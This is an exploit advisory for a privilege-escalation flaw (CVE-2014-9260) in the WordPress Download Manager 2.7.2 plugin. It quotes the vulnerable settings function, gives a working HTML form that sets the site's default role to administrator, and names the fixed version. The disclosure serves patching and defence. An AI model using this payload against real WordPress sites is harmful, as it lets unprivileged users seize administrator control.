WordPress Download Manager 2.7.2 Privilege Escalation

2015.03.06

Credit: Kacper Szurek

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2014-9260

CWE: CWE-264

CVSS Base Score: 6.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
# Date: 24-11-2014
# Software Link: https://wordpress.org/plugins/download-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9260

1. Description
  
Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()
{
    if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

        foreach ($_POST as $optn => $optv) {
            update_option($optn, $optv);
        }
        if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');



        die('Settings Saved Successfully');
    }
    include('settings/basic.php');
}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
    <input type="hidden" name="task" value="wdm_save_settings">
    <input type="hidden" name="section" value="basic">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" value="Hack!">
</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:
  
Update to version 2.7.3

References:

https://wordpress.org/plugins/download-manager/

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